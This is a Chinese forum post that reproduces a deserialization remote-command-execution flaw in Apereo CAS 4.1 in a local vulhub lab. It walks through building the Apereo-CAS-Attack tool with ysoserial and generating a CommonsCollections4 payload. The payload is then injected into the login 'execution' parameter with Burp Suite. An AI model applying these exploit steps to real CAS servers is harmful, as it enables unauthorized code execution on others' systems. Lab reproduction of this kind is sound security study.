登录
/
注册
首页
论坛
其它
首页
科技
业界
安全
程序
广播
Follow
关于
导读
排行榜
资讯
发帖说明
登录
/
注册
账号
自动登录
找回密码
密码
登录
立即注册
搜索
搜索
关闭
CSDN热搜
程序园
精品问答
技术交流
资源下载
本版
帖子
用户
软件
问答
教程
代码
写记录
写博客
小组
VIP申请
VIP网盘
网盘
联系我们
发帖说明
道具
勋章
任务
淘帖
动态
分享
留言板
导读
设置
我的收藏
退出
腾讯QQ
微信登录
返回列表
首页
›
业界区
›
业界
›
Apereo CAS 4.1 反序列化命令执行漏洞 (复现) ...
Apereo CAS 4.1 反序列化命令执行漏洞 (复现)
[ 复制链接 ]
院儿饯
2025-7-28 18:10:38
程序园永久vip申请,500美金$,无限下载程序园所有程序/软件/数据/等
此漏洞需要用到工具Apereo-CAS-Attack,工具地址:https://github.com/vulhub/Apereo-CAS-Attack
还需要下载结合https://github.com/frohoff/ysoserial的CommonsCollections4链生成 Payload
上述工具下载完成后将ysoserial放在工具的根目录里
在根目录下打开终端执行以下命令将 jar 包安装到本地 Maven 仓库
点击查看代码
mvn org.apache.maven.plugins:maven-install-plugin:2.5.2:install-file \
-Dfile=ysoserial-all.jar \
-DgroupId=ysoserial \
-DartifactId=ysoserial \
-Dversion=0.0.6 \
-Dpackaging=jar \
-DlocalRepositoryPath=my-repo
复制代码
命令成功执行!!!
ysoserial会被安装到项目根目录的my-repo文件夹中,供 Maven 构建时引用
执行以下命令安装项目所需环境
点击查看代码
# 更新包列表
sudo apt update
# 安装OpenJDK 8
sudo apt install openjdk-8-jdk -y
# 同样配置javac(编译器)
sudo update-alternatives --config javac
# 选择OpenJDK 8对应的javac路径
#执行以下代码
javac -version
若返回类似javac 1.8.0_xxx,说明 JDK 安装成功
复制代码
执行代码mvn clean package assembly:single -DskipTests构建项目
执行成功示图如上,接下来就可以使用该工具生成payload了
漏洞目录终端下执行docker compose up -d开启容器访问ip:8080
生成恶意 Payload
利用漏洞工具Apereo-CAS-Attack(集成了默认密钥和序列化逻辑)生成加密后的恶意序列化数据
java -jar target/apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "touch /tmp/cas_exploit_success"
生成 Payload(利用反序列化执行 touch /tmp/cas_exploit_success)
工具会输出一段 Base64 编码的长字符串;
接下来请出bp(burpsuite)抓包
网站首页使用测试账密test/test,输入后不要登陆!!!
回到bp点击proxy启动代理(浏览器也需要挂上bp的代理),点击登录开始抓包
鼠标右键点击那条POST命令send to repeater,切换到repeater界面
将第一步生成的Base64编码替换成execution参数的内容
点击Send,收到状态码500,不确定漏洞复现没,验证一下
java -jar target/apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "touch /tmp/cas_exploit_success"
此命令是在服务器的/tmp目录下创建文件,只需要访问服务器这个位置查看是否成功创建文件即可验证是否成功
文件创建成功,该漏洞成功复现!!!
来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
Apereo
CAS
序列化
命令
执行
相关帖子
VonaJS: 序列化/数据脱敏(下)
MySQL EXPLAIN执行计划:SQL性能翻倍的秘密武器
一条SQL的完整执行过程:小明查询"员工信息"的完整冒险故事
windows常见命令
一条SQL在MySQL的执行过程?、MyISAM和InnoDB的区别?
工作中实战sql命令集合
Linux命令自检
具身智能——机械臂全解析:从技术原理到产业生态,解锁智能执行新范式
Linux常用命令查询工具(好记性不如烂笔头)
大疆不同任务类型执行逻辑,上云API源码分析
回复
使用道具
举报
提升卡
置顶卡
沉默卡
喧嚣卡
变色卡
千斤顶
照妖镜
相关推荐
业界
VonaJS: 序列化/数据脱敏(下)
0
848
厥轧匠
2025-11-14
安全
MySQL EXPLAIN执行计划:SQL性能翻倍的秘密武器
0
129
汹萃热
2025-11-17
业界
一条SQL的完整执行过程:小明查询"员工信息"的完整冒险故事
0
378
斜素欣
2025-11-22
安全
windows常见命令
8
829
济曝喊
2025-11-25
业界
一条SQL在MySQL的执行过程?、MyISAM和InnoDB的区别?
0
961
倡遍竽
2025-11-29
安全
工作中实战sql命令集合
0
575
呵桢
2025-12-03
安全
Linux命令自检
1
367
椎蕊
2025-12-07
业界
具身智能——机械臂全解析:从技术原理到产业生态,解锁智能执行新范式
1
24
届表
2025-12-08
安全
Linux常用命令查询工具(好记性不如烂笔头)
0
577
闾丘婉奕
2025-12-12
业界
大疆不同任务类型执行逻辑,上云API源码分析
0
49
迭婵椟
2025-12-12
回复
(4)
睿哝
2025-10-31 01:42:49
回复
使用道具
举报
照妖镜
程序园永久vip申请,500美金$,无限下载程序园所有程序/软件/数据/等
感谢分享
宁觅波
2025-11-5 13:19:19
回复
使用道具
举报
照妖镜
程序园永久vip申请,500美金$,无限下载程序园所有程序/软件/数据/等
不错,里面软件多更新就更好了
章海
4 天前
回复
使用道具
举报
照妖镜
程序园永久vip申请,500美金$,无限下载程序园所有程序/软件/数据/等
收藏一下 不知道什么时候能用到
龙玮奇
昨天 06:46
回复
使用道具
举报
照妖镜
程序园永久vip申请,500美金$,无限下载程序园所有程序/软件/数据/等
不错,里面软件多更新就更好了
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
回复
本版积分规则
回帖并转播
回帖后跳转到最后一页
签约作者
程序园优秀签约作者
发帖
院儿饯
昨天 06:46
关注
0
粉丝关注
16
主题发布
板块介绍填写区域,请于后台编辑
财富榜{圆}
anyue1937
9994893
kk14977
6845356
3934307807
991123
4
xiangqian
638210
5
宋子
9984
6
韶又彤
9998
7
闰咄阅
9993
8
刎唇
9993
9
俞瑛瑶
9998
10
蓬森莉
9951
查看更多
今日好文热榜
805
postgreSQL 中的自定义操作符
683
ROS2核心概念之通信接口
474
拿着顶级服务器跑慢查询,就像开着法拉利送
16
一文打通软件测试中pytest框架
948
vscode远程调试python程序,基于debugpy库
318
正点原子HP20智能加热台,重新定义精密加热
716
K8S 中使用 YAML 安装 ECK
1002
一种可落地的任务令牌锁机制:设计原理、实
150
Flink学习笔记:状态类型和应用
581
Oracle19c impdp失败报ORA-20000案例
205
Markdown写作常用组件
714
fs1.6-fs1.10代码移植方案
48
大疆不同任务类型执行逻辑,上云API源码分
547
对标MinIO!全新一代分布式文件系统诞生!
247
上海房屋漏水反复修不好?芮生建设提供免费
927
2025 年度西安网站制作公司推荐:定制开发
414
15.结构型 - 组合模式 (Composite Pattern)
173
C++ 语言特性的变更可能让你的防御成为马奇
280
CentOS 7 上 yt-dlp Youtube高画质下载问题
925
短视频 / 图片不够清?SeedVR2.5 超分操作